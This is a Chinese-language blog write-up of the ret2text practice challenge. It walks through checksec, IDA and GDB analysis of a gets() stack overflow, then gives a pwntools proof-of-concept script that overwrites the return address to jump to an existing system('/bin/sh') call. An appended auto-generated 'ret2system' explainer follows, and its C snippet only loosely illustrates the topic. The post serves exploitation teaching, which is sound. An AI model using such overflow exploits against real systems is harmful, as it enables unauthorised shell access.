PWN初体验之ret2text

本文介绍了二进制漏洞挖掘中的一个DEMO——returntotext的分析过程。通过文件信息查看、静态分析及动态调试,揭示了栈溢出的条件,并找到了可利用的system函数。最终,成功编写并执行了POC脚本来覆盖返回地址,执行了/bin/sh命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00 序

​ "Hello,World!"的浪漫可能只有直男才懂!在1就是1、0就是0的非黑即白的元宇宙世界里一定只会有少年的足迹!天真永不消逝,浪漫至死不渝!生命不熄,学习不止!致每一个有梦想却被现实抛弃和质疑的追梦人!

​ 言归正传,最近在学习二进制漏洞的挖掘,今天就拿一个demo做一个return to text的分析。

0x01 文件分析

​ Demo是一个名为ret2text的文件,在Ubuntu中使用file命令查看文件信息。

在这里插入图片描述

  • 是一个ELF可执行文件
  • 32位
  • 小端序
  • i386架构

​ 使用checksec查看保护开启情况

在这里插入图片描述

  • RELRO开启Partial模式
  • 未开启金丝雀保护
  • 堆栈不可执行
  • 未开启内存地址随机化

0x02 静态分析

​ 使用32位IDA打开ELF文件

在这里插入图片描述

查看分析伪代码

在这里插入图片描述

  • 定义字符变量s。
  • 调用gets函数获取输入并存到s中。
  • 在调用gets函数时并未对输入进行长度的判断,存在可溢出点。

查看汇编代码

在这里插入图片描述

  • 在调用gets函数之前将参数s的地址赋值给了eax
  • 并将s的地址作为gets函数的参数压住栈中

0x03 动态调试

​ 在Ubuntu使用GDB调试文件。

在这里插入图片描述

​ 将断点下到main函数,运行文件。

在这里插入图片描述

​ 单步调试到调用gets函数时。

在这里插入图片描述

  • 此时eax的值(参数s的地址)为0xffffd0bc。

使用命令stack查看函数调用栈的情况。

在这里插入图片描述

  • esp指针的地址为0xffffd0a0
  • ebp指针的地址为0xffffd128
  • 那么函数返回的地位就是0xffffd12c
  • s的位置在0xffffd0bc。

测试输入覆盖

在这里插入图片描述

  • 可以完成栈数据的覆盖

计算输入点到返回地址的长度

在这里插入图片描述

  • 0x70的长度可以覆盖到返回地址

测试

在这里插入图片描述

  • 成功覆盖到返回值地址
  • 可再用四个字节即可覆盖返回地址

0x04 查找代码可执行点

​ 在IDA查询是否有system函数可以利用。

在这里插入图片描述

  • 文件调用了system()函数
  • 并在调用时直接执行了/bin/sh命令

​ 查找命令执行的地址

在这里插入图片描述

  • 找到引用地址0x0804863A

0x05 POC编写

from pwn import *

context.arch = "i386"

p = process("./ret2text")
elf = ELF("./ret2text")
libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")


padding = "a"*0x70
retaddr = 0x0804863A
payload = padding + p32(retaddr)

p.sendlineafter("do you know anything?\n",payload)
p.interactive()
  • 该POC脚本为本地利用,pwntools也提供远程利用方式。
  • 使用了相对地址,脚本与文件放在同一目录下。

0x06 运行脚本

在这里插入图片描述

  • 成功执行命令
### ret2system 漏洞利用技术详解 #### 背景介绍 ret2system是一种基于返回导向编程(ROP)的技术,通常用于绕过不可执行堆栈保护机制。这种攻击方式依赖于调用`system()`函数来执行命令或启动shell[^1]。 #### 原理说明 当存在缓冲区溢出漏洞时,如果程序中已经包含了对`system()`函数的合法调用,则可以直接覆盖返回地址指向该处。由于`system()`接受一个参数作为要执行的命令字符串,因此还需要找到这个字符串在内存中的位置并将其传递给`system()`. 如果目标进程中恰好有"/bin/sh"这样的字符串,那么就可以构造payload使得`system("/bin/sh")`被执行从而获得交互式的shell. 但是,在很多情况下,直接找到合适的`system()`调用并不容易实现。此时可以考虑寻找其他可能的方法: - **间接调用**:即使没有现成的`system()`调用路径,也可以尝试通过修改寄存器值或其他手段间接达到相同效果。 - **自定义输入**:有时可以通过精心设计的数据输入让程序自己创建所需的环境变量或者文件描述符等资源,进而触发期望的操作。 对于具体案例提到的情况——即发现了`gets()`导致的栈溢出但未能定位到`system("/bin/sh")`—这表明虽然具备基本条件但仍需进一步探索可用 gadge t 或者创造性的方法去完成整个链条构建[^2]. ```c // 示例代码片段展示如何构造 payload 来利用 ret2system 漏洞 (假设已知 system 地址 和 "/bin/sh" 字符串的位置) char *args[] = {"/bin/sh", NULL}; void (*sys)(const char *) = &system; // 获取 system 函数指针 (*sys)("echo 'Hello from ret2system!'"); ``` 值得注意的是,上述讨论仅限于理论层面的研究探讨;任何未经授权的实际操作均属违法行为,并违反道德准则。安全研究人员应当始终遵循法律法规以及职业操守的要求开展工作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值